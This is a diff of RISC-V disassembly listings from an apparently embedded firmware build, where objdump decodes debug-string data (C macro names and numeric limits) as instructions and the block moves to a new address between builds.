-    93e4:	3436                	fld	fs0,360(sp)
-    93e6:	4d5f 4e49 5f00      	0x5f004e494d5f
-    93ec:	555f 4e49 3154      	0x31544e49555f
-    93f2:	5f36                	lw	t5,108(sp)
-    93f4:	414d                	li	sp,19
-    93f6:	5f58                	lw	a4,60(a4)
-    93f8:	205f 7830 6666      	0x66667830205f
-    93fe:	6666                	flw	fa2,88(sp)
-    9400:	6d00                	flw	fs0,24(a0)
-    9402:	7861                	lui	a6,0xffff8
-    9404:	635f 6379 656c      	0x656c6379635f
-    940a:	5f00                	lw	s0,56(a4)
-    940c:	4a5f4353          	0x4a5f4353
-    9410:	435f424f          	fnmadd.d	ft4,ft10,fs5,fs0,rmm
-    9414:	52544e4f          	fnmadd.d	ft8,fs0,ft5,fa0,rmm
-    9418:	35204c4f          	0x35204c4f
-    941c:	4c00                	lw	s0,24(s0)
-    941e:	4f4c                	lw	a1,28(a4)
-    9420:	474e                	lw	a4,208(sp)
-    9422:	4d5f 5841 5f20      	0x5f2058414d5f
-    9428:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    942e:	4f4c                	lw	a1,28(a4)
-    9430:	474e                	lw	a4,208(sp)
-    9432:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9438:	5f00                	lw	s0,56(a4)
-    943a:	445f 4c42 4d5f      	0x4d5f4c42445f
-    9440:	5841                	li	a6,-16
-    9442:	5f5f 2820 6428      	0x642828205f5f
-    9448:	6c62756f          	jal	a0,30b0e <__stack_size+0x3030e>
-    944c:	2965                	jal	9904 <__stack_size+0x9104>
-    944e:	2e31                	jal	976a <__stack_size+0x8f6a>
-    9450:	36373937          	lui	s2,0x36373
-    9454:	3339                	jal	9162 <__stack_size+0x8962>
-    9456:	3331                	jal	9162 <__stack_size+0x8962>
-    9458:	3834                	fld	fa3,112(s0)
-    945a:	3236                	fld	ft4,360(sp)
-    945c:	37353133          	0x37353133
-    9460:	3830                	fld	fa2,112(s0)
-    9462:	3431                	jal	8e6e <__stack_size+0x866e>
-    9464:	3235                	jal	8d90 <__stack_size+0x8590>
-    9466:	33323437          	lui	s0,0x33323
-    946a:	37313337          	lui	t1,0x37313
-    946e:	3430                	fld	fa2,104(s0)
-    9470:	65373533          	0x65373533
-    9474:	3830332b          	0x3830332b
-    9478:	294c                	fld	fa1,144(a0)
-    947a:	5500                	lw	s0,40(a0)
-    947c:	4e49                	li	t3,18
-    947e:	3654                	fld	fa3,168(a2)
-    9480:	5f34                	lw	a3,120(a4)
-    9482:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9486:	5f20                	lw	s0,120(a4)
-    9488:	555f 4e49 3654      	0x36544e49555f
-    948e:	5f34                	lw	a3,120(a4)
-    9490:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    9494:	5f00                	lw	s0,56(a4)
-    9496:	4552                	lw	a0,20(sp)
-    9498:	4e45                	li	t3,17
-    949a:	5f54                	lw	a3,60(a4)
-    949c:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    94a0:	504d5f4b          	fnmsub.s	ft10,fs10,ft4,fa0,unknown
-    94a4:	7028                	flw	fa0,96(s0)
-    94a6:	7274                	flw	fa3,100(a2)
-    94a8:	2029                	jal	94b2 <__stack_size+0x8cb2>
-    94aa:	5f00                	lw	s0,56(a4)
-    94ac:	5f535953          	0x5f535953
-    94b0:	535f 4749 4553      	0x45534749535f
-    94b6:	5f54                	lw	a3,60(a4)
-    94b8:	5f48                	lw	a0,60(a4)
-    94ba:	0020                	addi	s0,sp,8
-    94bc:	5f5f 4f43 434e      	0x434e4f435f5f
-    94c2:	5441                	li	s0,-16
-    94c4:	7828                	flw	fa0,112(s0)
-    94c6:	792c                	flw	fa1,112(a0)
-    94c8:	2029                	jal	94d2 <__stack_size+0x8cd2>
-    94ca:	5f5f 4f43 434e      	0x434e4f435f5f
-    94d0:	5441                	li	s0,-16
-    94d2:	2831                	jal	94ee <__stack_size+0x8cee>
-    94d4:	2c78                	fld	fa4,216(s0)
-    94d6:	2979                	jal	9974 <__stack_size+0x9174>
-    94d8:	5f00                	lw	s0,56(a4)
-    94da:	465f 544c 3436      	0x3436544c465f
-    94e0:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    94e6:	3120                	fld	fs0,96(a0)
-    94e8:	372e                	fld	fa4,232(sp)
-    94ea:	3739                	jal	93f8 <__stack_size+0x8bf8>
-    94ec:	3936                	fld	fs2,360(sp)
-    94ee:	34333133          	0x34333133
-    94f2:	3638                	fld	fa4,104(a2)
-    94f4:	3332                	fld	ft6,296(sp)
-    94f6:	3531                	jal	9302 <__stack_size+0x8b02>
-    94f8:	31383037          	lui	zero,0x31383
-    94fc:	3534                	fld	fa3,104(a0)
-    94fe:	3732                	fld	fa4,296(sp)
-    9500:	3234                	fld	fa3,96(a2)
-    9502:	31333733          	0x31333733
-    9506:	33343037          	lui	zero,0x33343
-    950a:	3735                	jal	9436 <__stack_size+0x8c36>
-    950c:	2b65                	jal	9ac4 <__stack_size+0x92c4>
-    950e:	46383033          	0x46383033
-    9512:	3436                	fld	fs0,360(sp)
-    9514:	6d00                	flw	fs0,24(a0)
-    9516:	6961                	lui	s2,0x18
-    9518:	2e6e                	fld	ft8,216(sp)
-    951a:	5f5f0063          	beq	t5,s5,9afa <__stack_size+0x92fa>
-    951e:	4244                	lw	s1,4(a2)
-    9520:	5f4c                	lw	a1,60(a4)
-    9522:	4148                	lw	a0,4(a0)
-    9524:	55515f53          	0x55515f53
-    9528:	4549                	li	a0,18
-    952a:	5f54                	lw	a3,60(a4)
-    952c:	414e                	lw	sp,208(sp)
-    952e:	5f4e                	lw	t5,240(sp)
-    9530:	205f 0031 5f53      	0x5f530031205f
-    9536:	5349                	li	t1,-14
-    9538:	5456                	lw	s0,116(sp)
-    953a:	2058                	fld	fa4,128(s0)
-    953c:	3030                	fld	fa2,96(s0)
-    953e:	3130                	fld	fa2,96(a0)
-    9540:	3030                	fld	fa2,96(s0)
-    9542:	0030                	addi	a2,sp,8
-    9544:	495f 4c4f 4642      	0x46424c4f495f
-    954a:	3120                	fld	fs0,96(a0)
-    954c:	5f00                	lw	s0,56(a4)
-    954e:	465f 544c 445f      	0x445f544c465f
-    9554:	4e45                	li	t3,17
-    9556:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    955a:	494d                	li	s2,19
-    955c:	5f4e                	lw	t5,240(sp)
-    955e:	205f 2e31 3034      	0x30342e31205f
-    9564:	3231                	jal	8e70 <__stack_size+0x8670>
-    9566:	3839                	jal	8d84 <__stack_size+0x8584>
-    9568:	3634                	fld	fa3,104(a2)
-    956a:	3334                	fld	fa3,96(a4)
-    956c:	3432                	fld	fs0,296(sp)
-    956e:	3138                	fld	fa4,96(a0)
-    9570:	30373037          	lui	zero,0x30373
-    9574:	3239                	jal	8e82 <__stack_size+0x8682>
-    9576:	39323733          	0x39323733
-    957a:	3835                	jal	8db6 <__stack_size+0x85b6>
-    957c:	39383233          	0x39383233
-    9580:	3139                	jal	918e <__stack_size+0x898e>
-    9582:	3136                	fld	ft2,360(sp)
-    9584:	342d6533          	0x342d6533
-    9588:	4635                	li	a2,13
-    958a:	5f00                	lw	s0,56(a4)
-    958c:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9592:	5045                	c.li	zero,-15
-    9594:	4f4c4953          	0x4f4c4953
-    9598:	5f4e                	lw	t5,240(sp)
-    959a:	205f 2e31 3239      	0x32392e31205f
-    95a0:	3935                	jal	91dc <__stack_size+0x89dc>
-    95a2:	3932                	fld	fs2,296(sp)
-    95a4:	3439                	jal	8fb2 <__stack_size+0x87b2>
-    95a6:	3334                	fld	fa3,96(a4)
-    95a8:	3738                	fld	fa4,104(a4)
-    95aa:	3332                	fld	ft6,296(sp)
-    95ac:	3835                	jal	8de8 <__stack_size+0x85e8>
-    95ae:	3335                	jal	92da <__stack_size+0x8ada>
-    95b0:	3530                	fld	fa2,104(a0)
-    95b2:	3935                	jal	91ee <__stack_size+0x89ee>
-    95b4:	34393737          	lui	a4,0x34393
-    95b8:	3532                	fld	fa0,296(sp)
-    95ba:	3438                	fld	fa4,104(s0)
-    95bc:	3239                	jal	8eca <__stack_size+0x86ca>
-    95be:	65323337          	lui	t1,0x65323
-    95c2:	332d                	jal	92ec <__stack_size+0x8aec>
-    95c4:	4c34                	lw	a3,88(s0)
-    95c6:	5300                	lw	s0,32(a4)
-    95c8:	4749                	li	a4,18
-    95ca:	415f 4f54 494d      	0x494d4f54415f
-    95d0:	414d5f43          	fmadd.s	ft10,fs10,fs4,fs0,unknown
-    95d4:	0058                	addi	a4,sp,4
-    95d6:	6d5f7473          	csrrci	s0,0x6d5,30
-    95da:	6974                	flw	fa3,84(a0)
-    95dc:	656d                	lui	a0,0x1b
-    95de:	7320                	flw	fs0,96(a4)
-    95e0:	5f74                	lw	a3,124(a4)
-    95e2:	746d                	lui	s0,0xffffb
-    95e4:	6d69                	lui	s10,0x1a
-    95e6:	742e                	flw	fs0,232(sp)
-    95e8:	5f76                	lw	t5,124(sp)
-    95ea:	00636573          	csrrsi	a0,0x6,6
-    95ee:	5f5f 6972 6373      	0x637369725f5f
-    95f4:	5f76                	lw	t5,124(sp)
-    95f6:	756d                	lui	a0,0xffffb
-    95f8:	206c                	fld	fa1,192(s0)
+    9196:	0031                	c.nop	12
+    9198:	5f5f 4c46 3154      	0x31544c465f5f
+    919e:	3832                	fld	fa6,296(sp)
+    91a0:	485f 5341 515f      	0x515f5341485f
+    91a6:	4955                	li	s2,21
+    91a8:	5445                	li	s0,-15
+    91aa:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    91b0:	3120                	fld	fs0,96(a0)
+    91b2:	5f00                	lw	s0,56(a4)
+    91b4:	535f 424e 2046      	0x2046424e535f
+    91ba:	7830                	flw	fa2,112(s0)
+    91bc:	3030                	fld	fa2,96(s0)
+    91be:	3230                	fld	fa2,96(a2)
+    91c0:	5f00                	lw	s0,56(a4)
+    91c2:	5450                	lw	a2,44(s0)
+    91c4:	5248                	lw	a0,36(a2)
+    91c6:	4145                	li	sp,17
+    91c8:	5f44                	lw	s1,60(a4)
+    91ca:	45434e4f          	0x45434e4f
+    91ce:	495f 494e 2054      	0x2054494e495f
+    91d4:	2c31207b          	0x2c31207b
+    91d8:	3020                	fld	fs0,96(s0)
+    91da:	7d20                	flw	fs0,120(a0)
+    91dc:	6700                	flw	fs0,8(a4)
+    91de:	7465                	lui	s0,0xffff9
+    91e0:	72616863          	bltu	sp,t1,9910 <__stack_size+0x9110>
+    91e4:	755f 6c6e 636f      	0x636f6c6e755f
+    91ea:	2864656b          	0x2864656b
+    91ee:	2029                	jal	91f8 <__stack_size+0x89f8>
+    91f0:	675f 7465 6863      	0x68637465675f
+    91f6:	7261                	lui	tp,0xffff8
+    91f8:	755f 6c6e 636f      	0x636f6c6e755f
+    91fe:	2864656b          	0x2864656b
+    9202:	0029                	c.nop	10
+    9204:	4e5f 494f 4c4e      	0x4c4e494f4e5f
+    920a:	4e49                	li	t3,18
+    920c:	5f45                	li	t5,-15
+    920e:	54415453          	0x54415453
+    9212:	4349                	li	t1,18
+    9214:	5f20                	lw	s0,120(a4)
+    9216:	4f4e                	lw	t5,208(sp)
+    9218:	4e49                	li	t3,18
+    921a:	494c                	lw	a1,20(a0)
+    921c:	454e                	lw	a0,208(sp)
+    921e:	7320                	flw	fs0,96(a4)
+    9220:	6174                	flw	fa3,68(a0)
+    9222:	6974                	flw	fa3,84(a0)
+    9224:	4c5f0063          	beq	t5,t0,96e4 <__stack_size+0x8ee4>
+    9228:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    922c:	4f44                	lw	s1,28(a4)
+    922e:	4255                	li	tp,21
+    9230:	454c                	lw	a1,12(a0)
+    9232:	6c20                	flw	fs0,88(s0)
+    9234:	20676e6f          	jal	t3,7f43a <__stack_size+0x7ec3a>
+    9238:	6f64                	flw	fs1,92(a4)
+    923a:	6275                	lui	tp,0x1d
+    923c:	656c                	flw	fa1,76(a0)
+    923e:	5f00                	lw	s0,56(a4)
+    9240:	755f 6573 2064      	0x20646573755f
+    9246:	5f5f 7461 7274      	0x727474615f5f
+    924c:	6269                	lui	tp,0x1a
+    924e:	7475                	lui	s0,0xffffd
+    9250:	5f65                	li	t5,-7
+    9252:	285f 5f28 755f      	0x755f5f28285f
+    9258:	5f646573          	csrrsi	a0,0x5f6,8
+    925c:	295f 0029 4e49      	0x4e490029295f
+    9262:	3354                	fld	fa3,160(a4)
+    9264:	5f32                	lw	t5,44(sp)
+    9266:	494d                	li	s2,19
+    9268:	004e                	c.slli	zero,0x13
+    926a:	5f5f 424f 4f53      	0x4f53424f5f5f
+    9270:	454c                	lw	a1,12(a0)
+    9272:	4554                	lw	a3,12(a0)
+    9274:	4d5f 5441 2048      	0x204854414d5f
+    927a:	5f5f 424f 4f53      	0x4f53424f5f5f
+    9280:	454c                	lw	a1,12(a0)
+    9282:	4554                	lw	a3,12(a0)
+    9284:	4d5f 5441 5f48      	0x5f4854414d5f
+    928a:	4544                	lw	s1,12(a0)
+    928c:	4146                	lw	sp,80(sp)
+    928e:	4c55                	li	s8,21
+    9290:	0054                	addi	a3,sp,4
+    9292:	4e49                	li	t3,18
+    9294:	3154                	fld	fa3,160(a0)
+    9296:	5f36                	lw	t5,108(sp)
+    9298:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    929c:	5f20                	lw	s0,120(a4)
+    929e:	495f 544e 3631      	0x3631544e495f
+    92a4:	435f 6328 0029      	0x296328435f
+    92aa:	535f 5254 4e49      	0x4e495254535f
+    92b0:	485f5347          	fmsub.s	ft6,ft10,ft5,fs1,unknown
+    92b4:	205f 4900 544e      	0x544e4900205f
+    92ba:	5f38                	lw	a4,120(a4)
+    92bc:	494d                	li	s2,19
+    92be:	204e                	fld	ft0,208(sp)
+    92c0:	2d28                	fld	fa0,88(a0)
+    92c2:	4e49                	li	t3,18
+    92c4:	3854                	fld	fa3,176(s0)
+    92c6:	4d5f 5841 2d20      	0x2d2058414d5f
+    92cc:	3120                	fld	fs0,96(a0)
+    92ce:	0029                	c.nop	10
+    92d0:	5f5f 4c46 3354      	0x33544c465f5f
+    92d6:	5f32                	lw	t5,44(sp)
+    92d8:	4148                	lw	a0,4(a0)
+    92da:	55515f53          	0x55515f53
+    92de:	4549                	li	a0,18
+    92e0:	5f54                	lw	a3,60(a4)
+    92e2:	414e                	lw	sp,208(sp)
+    92e4:	5f4e                	lw	t5,240(sp)
+    92e6:	205f 0031 5f5f      	0x5f5f0031205f
+    92ec:	5441                	li	s0,-16
+    92ee:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    92f2:	525f 4c45 4145      	0x41454c45525f
+    92f8:	33204553          	0x33204553
+    92fc:	5f00                	lw	s0,56(a4)
+    92fe:	4c5f 4244 5f4c      	0x5f4c42444c5f
+    9304:	4f4e                	lw	t5,208(sp)
+    9306:	4d52                	lw	s10,20(sp)
+    9308:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    930e:	3120                	fld	fs0,96(a0)
+    9310:	312e                	fld	ft2,232(sp)
+    9312:	3938                	fld	fa4,112(a0)
+    9314:	34313337          	lui	t1,0x34313
+    9318:	3539                	jal	9126 <__stack_size+0x8926>
+    931a:	32373533          	0x32373533
+    931e:	36373133          	0x36373133
+    9322:	3035                	jal	8b4e <__stack_size+0x834e>
+    9324:	3538                	fld	fa4,104(a0)
+    9326:	33393537          	lui	a0,0x33393
+    932a:	3632                	fld	fa2,296(sp)
+    932c:	3236                	fld	ft4,360(sp)
+    932e:	3038                	fld	fa4,96(s0)
+    9330:	3730                	fld	fa2,104(a4)
+    9332:	3230                	fld	fa2,96(a2)
+    9334:	2b65                	jal	98ec <__stack_size+0x90ec>
+    9336:	3934                	fld	fa3,112(a0)
+    9338:	004c3233          	sltu	tp,s8,tp
+    933c:	5750                	lw	a2,44(a4)
+    933e:	5f4d                	li	t5,-13
+    9340:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    9344:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
+    9348:	5049                	c.li	zero,-14
+    934a:	3020                	fld	fs0,96(s0)
+    934c:	3478                	fld	fa4,232(s0)
+    934e:	3030                	fld	fa2,96(s0)
+    9350:	3030                	fld	fa2,96(s0)
+    9352:	3030                	fld	fa2,96(s0)
+    9354:	0030                	addi	a2,sp,8
+    9356:	5f5f 4f43 5950      	0x59504f435f5f
+    935c:	4952                	lw	s2,20(sp)
+    935e:	28544847          	fmsub.s	fa6,fs0,ft5,ft5,rmm
+    9362:	73202973          	csrr	s2,0x732
+    9366:	7274                	flw	fa3,100(a2)
+    9368:	6375                	lui	t1,0x1d
+    936a:	2074                	fld	fa3,192(s0)
+    936c:	5f5f 6168 6b63      	0x6b6361685f5f
+    9372:	5f00                	lw	s0,56(a4)
+    9374:	4552                	lw	a0,20(sp)
+    9376:	4441                	li	s0,16
+    9378:	575f 4952 4554      	0x45544952575f
+    937e:	525f 5445 5255      	0x52555445525f
+    9384:	5f4e                	lw	t5,240(sp)
+    9386:	5954                	lw	a3,52(a0)
+    9388:	4550                	lw	a2,12(a0)
+    938a:	5f20                	lw	s0,120(a4)
+    938c:	7a697373          	csrrci	t1,0x7a6,18
+    9390:	5f65                	li	t5,-7
+    9392:	0074                	addi	a3,sp,12
+    9394:	575f 4449 5f45      	0x5f454449575f
+    939a:	4549524f          	0x4549524f
+    939e:	544e                	lw	s0,240(sp)
+    93a0:	3120                	fld	fs0,96(a0)
+    93a2:	4500                	lw	s0,8(a0)
+    93a4:	4958                	lw	a4,20(a0)
+    93a6:	5f54                	lw	a3,60(a4)
+    93a8:	4146                	lw	sp,80(sp)
+    93aa:	4c49                	li	s8,18
+    93ac:	5255                	li	tp,-11
+    93ae:	2045                	jal	944e <__stack_size+0x8c4e>
+    93b0:	0031                	c.nop	12
+    93b2:	4c4e                	lw	s8,208(sp)
+    93b4:	415f 4752 414d      	0x414d4752415f
+    93ba:	2058                	fld	fa4,128(s0)
+    93bc:	5f003233          	0x5f003233
+    93c0:	4d5f4353          	0x4d5f4353
+    93c4:	4d45                	li	s10,17
+    93c6:	5f59524f          	fnmadd.q	ft4,fs2,fs5,fa1,unknown
+    93ca:	5250                	lw	a2,36(a2)
+    93cc:	4345544f          	fnmadd.d	fs0,fa0,fs4,fs0,unknown
+    93d0:	4954                	lw	a3,20(a0)
+    93d2:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
+    93d6:	0036                	c.slli	zero,0xd
+    93d8:	46495f53          	0x46495f53
+    93dc:	4e4c                	lw	a1,28(a2)
+    93de:	495f204b          	fnmsub.s	ft0,ft10,fs5,fs1,rdn
+    93e2:	4c46                	lw	s8,80(sp)
+    93e4:	4b4e                	lw	s6,208(sp)
+    93e6:	4700                	lw	s0,8(a4)
+    93e8:	4950                	lw	a2,20(a0)
+    93ea:	45525f4f          	0x45525f4f
+    93ee:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    93f2:	7366                	flw	ft6,120(sp)
+    93f4:	7465                	lui	s0,0xffff9
+    93f6:	2029                	jal	9400 <__stack_size+0x8c00>
+    93f8:	525f 4745 3233      	0x32334745525f
+    93fe:	4728                	lw	a0,72(a4)
+    9400:	4950                	lw	a2,20(a0)
+    9402:	41425f4f          	fnmadd.s	ft10,ft4,fs4,fs0,unknown
+    9406:	202c4553          	0x202c4553
+    940a:	7366666f          	jal	a2,6fb40 <__stack_size+0x6f340>
+    940e:	7465                	lui	s0,0xffff9
+    9410:	0029                	c.nop	10
+    9412:	5f46                	lw	t5,112(sp)
+    9414:	4c544553          	0x4c544553
+    9418:	0038204b          	fnmsub.s	ft0,fa6,ft3,ft0,rdn
+    941c:	5f5f 6972 6373      	0x637369725f5f
+    9422:	5f76                	lw	t5,124(sp)
+    9424:	6c78                	flw	fa4,92(s0)
+    9426:	6e65                	lui	t3,0x19
+    9428:	3320                	fld	fs0,96(a4)
+    942a:	0032                	c.slli	zero,0xc
+    942c:	535f 5f43 4f4d      	0x4f4d5f43535f
+    9432:	4f4e                	lw	t5,208(sp)
+    9434:	4f54                	lw	a3,28(a4)
+    9436:	494e                	lw	s2,208(sp)
+    9438:	4c435f43          	0x4c435f43
+    943c:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    9440:	3936                	fld	fs2,360(sp)
+    9442:	4c00                	lw	s0,24(s0)
+    9444:	5449                	li	s0,-14
+    9446:	4c54                	lw	a3,28(s0)
+    9448:	5f45                	li	t5,-15
+    944a:	4e45                	li	t3,17
+    944c:	4944                	lw	s1,20(a0)
+    944e:	4e41                	li	t3,16
+    9450:	5f20                	lw	s0,120(a4)
+    9452:	494c                	lw	a1,20(a0)
+    9454:	5454                	lw	a3,44(s0)
+    9456:	454c                	lw	a1,12(a0)
+    9458:	455f 444e 4149      	0x4149444e455f
+    945e:	004e                	c.slli	zero,0x13
+    9460:	59535f4f          	fnmadd.s	ft10,ft6,fs5,fa1,unknown
+    9464:	434e                	lw	t1,208(sp)
+    9466:	5f20                	lw	s0,120(a4)
+    9468:	5346                	lw	t1,112(sp)
+    946a:	4e59                	li	t3,22
+    946c:	4f460043          	fmadd.q	ft0,fa2,fs4,fs1,rne
+    9470:	4550                	lw	a2,12(a0)
+    9472:	204e                	fld	ft0,208(sp)
+    9474:	465f 504f 4e45      	0x4e45504f465f
+    947a:	4600                	lw	s0,8(a2)
+    947c:	475f 5445 4b4c      	0x4b4c5445475f
+    9482:	3720                	fld	fs0,104(a4)
+    9484:	5f00                	lw	s0,56(a4)
+    9486:	555f 4e49 3154      	0x31544e49555f
+    948c:	5f36                	lw	t5,108(sp)
+    948e:	414d                	li	sp,19
+    9490:	5f58                	lw	a4,60(a4)
+    9492:	205f 7830 6666      	0x66667830205f
+    9498:	6666                	flw	fa2,88(sp)
+    949a:	5f00                	lw	s0,56(a4)
+    949c:	4a5f4353          	0x4a5f4353
+    94a0:	435f424f          	fnmadd.d	ft4,ft10,fs5,fs0,rmm
+    94a4:	52544e4f          	fnmadd.d	ft8,fs0,ft5,fa0,rmm
+    94a8:	35204c4f          	0x35204c4f
+    94ac:	5f00                	lw	s0,56(a4)
+    94ae:	4552                	lw	a0,20(sp)
+    94b0:	4e45                	li	t3,17
+    94b2:	5f54                	lw	a3,60(a4)
+    94b4:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    94b8:	53415f4b          	fnmsub.d	ft10,ft2,fs4,fa0,unknown
+    94bc:	4d495443          	0x4d495443
+    94c0:	5f45                	li	t5,-15
+    94c2:	5542                	lw	a0,48(sp)
+    94c4:	2846                	fld	fa6,80(sp)
+    94c6:	7470                	flw	fa2,108(s0)
+    94c8:	2972                	fld	fs2,280(sp)
+    94ca:	0020                	addi	s0,sp,8
+    94cc:	4c4c                	lw	a1,28(s0)
+    94ce:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    94d2:	414d                	li	sp,19
+    94d4:	2058                	fld	fa4,128(s0)
+    94d6:	5f5f 4f4c 474e      	0x474e4f4c5f5f
+    94dc:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
+    94e2:	414d                	li	sp,19
+    94e4:	5f58                	lw	a4,60(a4)
+    94e6:	005f 5f5f 4244      	0x42445f5f005f
+    94ec:	5f4c                	lw	a1,60(a4)
+    94ee:	414d                	li	sp,19
+    94f0:	5f58                	lw	a4,60(a4)
+    94f2:	205f 2828 6f64      	0x6f642828205f
+    94f8:	6275                	lui	tp,0x1d
+    94fa:	656c                	flw	fa1,76(a0)
+    94fc:	3129                	jal	9106 <__stack_size+0x8906>
+    94fe:	372e                	fld	fa4,232(sp)
+    9500:	3739                	jal	940e <__stack_size+0x8c0e>
+    9502:	3936                	fld	fs2,360(sp)
+    9504:	34333133          	0x34333133
+    9508:	3638                	fld	fa4,104(a2)
+    950a:	3332                	fld	ft6,296(sp)
+    950c:	3531                	jal	9318 <__stack_size+0x8b18>
+    950e:	31383037          	lui	zero,0x31383
+    9512:	3534                	fld	fa3,104(a0)
+    9514:	3732                	fld	fa4,296(sp)
+    9516:	3234                	fld	fa3,96(a2)
+    9518:	31333733          	0x31333733
+    951c:	33343037          	lui	zero,0x33343
+    9520:	3735                	jal	944c <__stack_size+0x8c4c>
+    9522:	2b65                	jal	9ada <__stack_size+0x92da>
+    9524:	4c383033          	0x4c383033
+    9528:	0029                	c.nop	10
+    952a:	4955                	li	s2,21
+    952c:	544e                	lw	s0,240(sp)
+    952e:	3436                	fld	fs0,360(sp)
+    9530:	435f 6328 2029      	0x20296328435f
+    9536:	5f5f 4955 544e      	0x544e49555f5f
+    953c:	3436                	fld	fs0,360(sp)
+    953e:	435f 6328 0029      	0x296328435f
+    9544:	525f 4545 544e      	0x544e4545525f
+    954a:	435f 4548 4b43      	0x4b434548435f
+    9550:	4d5f 2850 7470      	0x747028504d5f
+    9556:	2972                	fld	fs2,280(sp)
+    9558:	0020                	addi	s0,sp,8
+    955a:	535f 5359 5f5f      	0x5f5f5359535f
+    9560:	53474953          	0x53474953
+    9564:	5445                	li	s0,-15
+    9566:	485f 205f 5f00      	0x5f00205f485f
+    956c:	435f 4e4f 4143      	0x41434e4f435f
+    9572:	2854                	fld	fa3,144(s0)
+    9574:	2c78                	fld	fa4,216(s0)
+    9576:	2979                	jal	9a14 <__stack_size+0x9214>
+    9578:	5f20                	lw	s0,120(a4)
+    957a:	435f 4e4f 4143      	0x41434e4f435f
+    9580:	3154                	fld	fa3,160(a0)
+    9582:	7828                	flw	fa0,112(s0)
+    9584:	792c                	flw	fa1,112(a0)
+    9586:	0029                	c.nop	10
+    9588:	5f5f 4c46 3654      	0x36544c465f5f
+    958e:	5f34                	lw	a3,120(a4)
+    9590:	414d                	li	sp,19
+    9592:	5f58                	lw	a4,60(a4)
+    9594:	205f 2e31 3937      	0x39372e31205f
+    959a:	33393637          	lui	a2,0x33393
+    959e:	3331                	jal	92aa <__stack_size+0x8aaa>
+    95a0:	3834                	fld	fa3,112(s0)
+    95a2:	3236                	fld	ft4,360(sp)
+    95a4:	37353133          	0x37353133
+    95a8:	3830                	fld	fa2,112(s0)
+    95aa:	3431                	jal	8fb6 <__stack_size+0x87b6>
+    95ac:	3235                	jal	8ed8 <__stack_size+0x86d8>
+    95ae:	33323437          	lui	s0,0x33323
+    95b2:	37313337          	lui	t1,0x37313
+    95b6:	3430                	fld	fa2,104(s0)
+    95b8:	65373533          	0x65373533
+    95bc:	3830332b          	0x3830332b
+    95c0:	3646                	fld	fa2,112(sp)
+    95c2:	0034                	addi	a3,sp,8
+    95c4:	616d                	addi	sp,sp,240
+    95c6:	6e69                	lui	t3,0x1a
+    95c8:	632e                	flw	ft6,200(sp)
+    95ca:	5f00                	lw	s0,56(a4)
+    95cc:	445f 4c42 485f      	0x485f4c42445f
+    95d2:	5341                	li	t1,-16
+    95d4:	515f 4955 5445      	0x54454955515f
+    95da:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
+    95e0:	3120                	fld	fs0,96(a0)
+    95e2:	5300                	lw	s0,32(a4)
+    95e4:	495f 5653 5854      	0x58545653495f
+    95ea:	3020                	fld	fs0,96(s0)
+    95ec:	3030                	fld	fa2,96(s0)
+    95ee:	3031                	jal	8dfa <__stack_size+0x85fa>
+    95f0:	3030                	fld	fa2,96(s0)
+    95f2:	5f00                	lw	s0,56(a4)
+    95f4:	4f49                	li	t5,18
+    95f6:	424c                	lw	a1,4(a2)
+    95f8:	2046                	fld	ft0,80(sp)
     95fa:	0031                	c.nop	12
-    95fc:	5f5f 7362 6177      	0x617773625f5f
-    9602:	3170                	fld	fa2,224(a0)
-    9604:	2836                	fld	fa6,328(sp)
-    9606:	785f 2029 5f5f      	0x5f5f2029785f
-    960c:	7562                	flw	fa0,56(sp)
-    960e:	6c69                	lui	s8,0x1a
-    9610:	6974                	flw	fa3,84(a0)
-    9612:	5f6e                	lw	t5,248(sp)
-    9614:	7362                	flw	ft6,56(sp)
-    9616:	31706177          	0x31706177
-    961a:	2836                	fld	fa6,328(sp)
-    961c:	785f 0029 4957      	0x49570029785f
-    9622:	544e                	lw	s0,240(sp)
-    9624:	4d5f 5841 5f00      	0x5f0058414d5f
-    962a:	4446                	lw	s0,80(sp)
-    962c:	5249                	li	tp,-14
-    962e:	4345                	li	t1,17
-    9630:	2054                	fld	fa3,128(s0)
-    9632:	7830                	flw	fa2,112(s0)
-    9634:	3038                	fld	fa4,96(s0)
-    9636:	3030                	fld	fa2,96(s0)
-    9638:	0030                	addi	a2,sp,8
-    963a:	41484353          	0x41484353
-    963e:	5f52                	lw	t5,52(sp)
-    9640:	494d                	li	s2,19
-    9642:	204e                	fld	ft0,208(sp)
-    9644:	2d28                	fld	fa0,88(a0)
-    9646:	41484353          	0x41484353
-    964a:	5f52                	lw	t5,52(sp)
-    964c:	414d                	li	sp,19
-    964e:	2058                	fld	fa4,128(s0)
-    9650:	202d                	jal	967a <__stack_size+0x8e7a>
-    9652:	2931                	jal	9a6e <__stack_size+0x926e>
-    9654:	5f00                	lw	s0,56(a4)
-    9656:	445f 4345 455f      	0x455f4345445f
-    965c:	4156                	lw	sp,84(sp)
-    965e:	5f4c                	lw	a1,60(a4)
-    9660:	454d                	li	a0,19
-    9662:	4854                	lw	a3,20(s0)
-    9664:	5f5f444f          	fnmadd.q	fs0,ft10,fs5,fa1,rmm
-    9668:	3220                	fld	fs0,96(a2)
-    966a:	5500                	lw	s0,40(a0)
-    966c:	54524853          	0x54524853
-    9670:	4d5f 5841 4f00      	0x4f0058414d5f
-    9676:	455f 4558 2043      	0x20434558455f
